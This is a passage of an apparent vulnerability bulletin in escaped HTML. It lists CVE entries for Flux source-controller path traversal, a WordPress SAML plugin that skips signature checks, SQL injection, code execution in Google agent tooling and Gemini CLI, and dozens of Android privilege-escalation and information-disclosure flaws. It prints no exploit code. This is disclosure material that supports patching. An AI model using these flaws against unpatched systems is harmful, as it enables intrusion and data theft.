&lt;td&gt;The source-controller is a Kubernetes operator, specialised in artifacts acquisition from external sources such as Git, OCI, Helm repositories and S3-compatible buckets. In versions 0.0.17 through 1.8.4, an actor with the ability to influence the contents of a bucket referenced by a `Bucket` resource can cause source-controller to write fetched object data to paths outside the per-reconciliation working directory. The corruption surface is bounded by source-controller&#039;s own and downstream Flux controllers&#039; digest verification: source-controller verifies stored artifact digests during reconciliation and rebuilds on divergence; consumers (kustomize-controller, helm-controller) verify the digest of fetched artifacts and reject mismatches. These checks prevent a manipulated artifact from reaching the cluster, but an attacker can still write files anywhere the source-controller pod has permission to write. Separately, a user with permission to create or update `GitRepository` resources can cause source-controller to test for the existence of paths outside the cloned repository. Because the result is exposed via the resource&#039;s status, this allows limited enumeration of file paths on the controller pod. This surface exists only on source-controller v1.6.0 and later, where the sparse-checkout feature was introduced. This vulnerability was fixed in source-controller v1.8.5. There is no in-product workaround. Users should upgrade to a patched version. As a defense-in-depth measure for the GitRepository sparse-checkout surface, a `ValidatingAdmissionPolicy` (or a third-party policy engine such as Kyverno or OPA Gatekeeper) can be deployed to reject `GitRepository` resources whose `.spec.sparseCheckout` entries contain `..` or absolute path segments.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-47680&quot; target=&quot;_blank&quot;&gt;CVE-2026-47680&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Frontegg SAML SSO--Frontegg SAML SSO&lt;/td&gt;
&lt;td&gt;The Frontegg SAML SSO WordPress plugin through 1.0.1 does not verify the signature or issuer of SAML authentication responses before establishing a session, allowing unauthenticated attackers to log in as any user, including administrators, as well as to create arbitrary accounts.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-75800&quot; target=&quot;_blank&quot;&gt;CVE-2026-75800&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Garlic-Hub--Garlic-Hub v1.0.1&lt;/td&gt;
&lt;td&gt;Garlic-Hub v1.0.1 is vulnerable to SQL Injection in src/Modules/Items/Repositories/ItemsRepository.php.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-38626&quot; target=&quot;_blank&quot;&gt;CVE-2026-38626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google Cloud--Agent Development Kit (ADK) for Python&lt;/td&gt;
&lt;td&gt;A Code Injection vulnerability in adk web in Google Cloud Agent Development Kit (ADK) for Python versions 2.0.0 through 2.6.0 on Python (OSS), Cloud Run, and GKE environments where pytest is installed allows an unauthenticated remote attacker to execute arbitrary code using a crafted test session replay.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79696&quot; target=&quot;_blank&quot;&gt;CVE-2026-79696&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google Cloud--Gemini CLI&lt;/td&gt;
&lt;td&gt;A vulnerability in the Gemini CLI and associated GitHub Action allowed an unprivileged attacker&amp;nbsp;to achieve an arbitrary code execution in Gemini CLI via untrusted local .env files overriding GEMINI_CLI_HOME.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-13745&quot; target=&quot;_blank&quot;&gt;CVE-2026-13745&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google Cloud--Gemini Enterprise Agent Platform App Builder&lt;/td&gt;
&lt;td&gt;A Server-Side Request Forgery (SSRF) vulnerability in Google Cloud Gemini Enterprise Agent Platform App Builder versions prior to 2026-06-01 on Google Cloud Platform allows an unauthenticated attacker to leak the Compute Engine default service account access token. This vulnerability was patched on 01 June 2026. Users will need to redeploy their previously deployed apps.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19486&quot; target=&quot;_blank&quot;&gt;CVE-2026-19486&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In isCallerAllowed of WalletContextualLocationsService.kt, there is a possible way to get wallet information due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0054&quot; target=&quot;_blank&quot;&gt;CVE-2026-0054&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In areBackgroundActivityStartsAllowed of BackgroundLaunchProcessController.java, there is a possible unintended way to launch activities in the background due to a logic error in the code. This could lead to local escalation of privilege with User execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0065&quot; target=&quot;_blank&quot;&gt;CVE-2026-0065&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of HostEmulationManager.java, there is a possible background activity launch due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-0084&quot; target=&quot;_blank&quot;&gt;CVE-2026-0084&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In onCreate of InstallLaunch.kt, there is a possible misleading UI due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28572&quot; target=&quot;_blank&quot;&gt;CVE-2026-28572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In onCreate of ConfirmDeviceCredentialActivity.java, there is a possible unauthorized access to and modification of device credentials due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28582&quot; target=&quot;_blank&quot;&gt;CVE-2026-28582&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In validate_camera_metadata_structure of camera_metadata.c, there is a possible out of bounds write due to a logical error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28583&quot; target=&quot;_blank&quot;&gt;CVE-2026-28583&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In createSessionInternal of PackageInstallerService.java, there is a possible way to permanently DoS the device due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28584&quot; target=&quot;_blank&quot;&gt;CVE-2026-28584&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible improper encryption key validation due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28590&quot; target=&quot;_blank&quot;&gt;CVE-2026-28590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In getItemList of SettingsFragment.java, there is a possible user interaction bypass due to misleading or insufficient UI. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28593&quot; target=&quot;_blank&quot;&gt;CVE-2026-28593&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible use after free due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28594&quot; target=&quot;_blank&quot;&gt;CVE-2026-28594&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In parseInterventionFromXml of GameManagerService.java, there is a possible permanent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28596&quot; target=&quot;_blank&quot;&gt;CVE-2026-28596&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In addCreatorToken of ActivityManagerService.java, there is a possible Intent Redirection Bypass due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28599&quot; target=&quot;_blank&quot;&gt;CVE-2026-28599&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In onCreate of PaymentDefaultDialog.java, there is a possible way to change default payment app due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28600&quot; target=&quot;_blank&quot;&gt;CVE-2026-28600&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In setClipboardAccessNotificationsEnabledForUser of ClipboardService.java, there is a possible mult-iuser isolation due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28602&quot; target=&quot;_blank&quot;&gt;CVE-2026-28602&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In assertSafeToStartCustomActivity of AppRestrictionsFragment.java, there is a possible read/write access to private files due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28603&quot; target=&quot;_blank&quot;&gt;CVE-2026-28603&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible use after free due to a race condition. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28604&quot; target=&quot;_blank&quot;&gt;CVE-2026-28604&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In handleBondStateChanged of AdapterService.java, there is a possible way to skip pairing due to a logic error in the code. This could lead to remote escalation of privilege without user consent with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28606&quot; target=&quot;_blank&quot;&gt;CVE-2026-28606&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions in multiple locations, there is a possible background activity launch bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28607&quot; target=&quot;_blank&quot;&gt;CVE-2026-28607&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In read of MatroskaExtractor.cpp, there is a possible out-of-bounds write due to improper casting. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28609&quot; target=&quot;_blank&quot;&gt;CVE-2026-28609&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of NfcService.java, there is a possible silent payment session hijacking enablement due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28611&quot; target=&quot;_blank&quot;&gt;CVE-2026-28611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In resolveActivity of ActivityStarter.java, there is a possible way to perform Intent Redirection attacks due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28612&quot; target=&quot;_blank&quot;&gt;CVE-2026-28612&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In initAppLinkTypeAndIntent of ChannelImpl.java, there is a possible launch an arbitrary intent due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28613&quot; target=&quot;_blank&quot;&gt;CVE-2026-28613&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In onCreate of SlicePermissionActivity.java, there is a possible permission bypass due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28614&quot; target=&quot;_blank&quot;&gt;CVE-2026-28614&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In Setup Wizard, there is a possible way to force connection to a malicious network due to confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28616&quot; target=&quot;_blank&quot;&gt;CVE-2026-28616&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In add of WifiNetworkSuggestionsManager.java, there is a possible persistent DOS due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28617&quot; target=&quot;_blank&quot;&gt;CVE-2026-28617&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In dec_frm_prepare of oapv.c, there is a possible OOB write due to a heap buffer overflow. This could lead to remote code execution with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28618&quot; target=&quot;_blank&quot;&gt;CVE-2026-28618&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible unauthorized URI access due to a permissions bypass. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28620&quot; target=&quot;_blank&quot;&gt;CVE-2026-28620&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In getQueryBuilderInternal of MediaProvider.java, there is a possible way to retrieve location metadata due to a permissions bypass. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28622&quot; target=&quot;_blank&quot;&gt;CVE-2026-28622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In writeToParcel of BleRssiRangingCapabilities.java, there is a possible way to obtain the Bluetooth MAC address due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28623&quot; target=&quot;_blank&quot;&gt;CVE-2026-28623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple locations, there is a possible read/write access to files without the proper permissions due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28624&quot; target=&quot;_blank&quot;&gt;CVE-2026-28624&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In onCreate of SetupPassthroughActivity.java, there is a possible way to launch arbitrary activity due to Intent redirection . This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28626&quot; target=&quot;_blank&quot;&gt;CVE-2026-28626&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In btm_sec_encrypt_change of btm_sec.cc, there is a possible downgrade attack due to a logic error in the code. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28627&quot; target=&quot;_blank&quot;&gt;CVE-2026-28627&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In onCreate of ContactsPickerActivity.kt, there is a possible misleading UI due to a tapjacking/overlay attack. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28630&quot; target=&quot;_blank&quot;&gt;CVE-2026-28630&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In buildMiniResolver of IntentForwarderActivity.java, there is a possible consent bypass due to a tapjacking/overlay attack. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28631&quot; target=&quot;_blank&quot;&gt;CVE-2026-28631&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In initForUserNoTracing of VoiceInteractionManagerService.java, there is a possible persistent denial of service due to resource exhaustion. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28633&quot; target=&quot;_blank&quot;&gt;CVE-2026-28633&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In handleUssdRequest of PhoneInterfaceManager.java, there is a possible way to send a USSD request without permission due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28634&quot; target=&quot;_blank&quot;&gt;CVE-2026-28634&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In setupLayout of PickActivity.java, there is a possible bypass of the &quot;Install unknown apps&quot; security restriction due to a confused deputy. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28636&quot; target=&quot;_blank&quot;&gt;CVE-2026-28636&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In multiple functions of XmpDataParser.java, there is a possible improper data sanitization due to a logic error in the code. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28638&quot; target=&quot;_blank&quot;&gt;CVE-2026-28638&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In rw_mfc_handle_read_op of rw_mfc.cc, there is a possible out of bounds write due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-28639&quot; target=&quot;_blank&quot;&gt;CVE-2026-28639&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Google--Android&lt;/td&gt;
&lt;td&gt;In executeRequest of ActivityStarter.java, there is a possible background activity launch due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
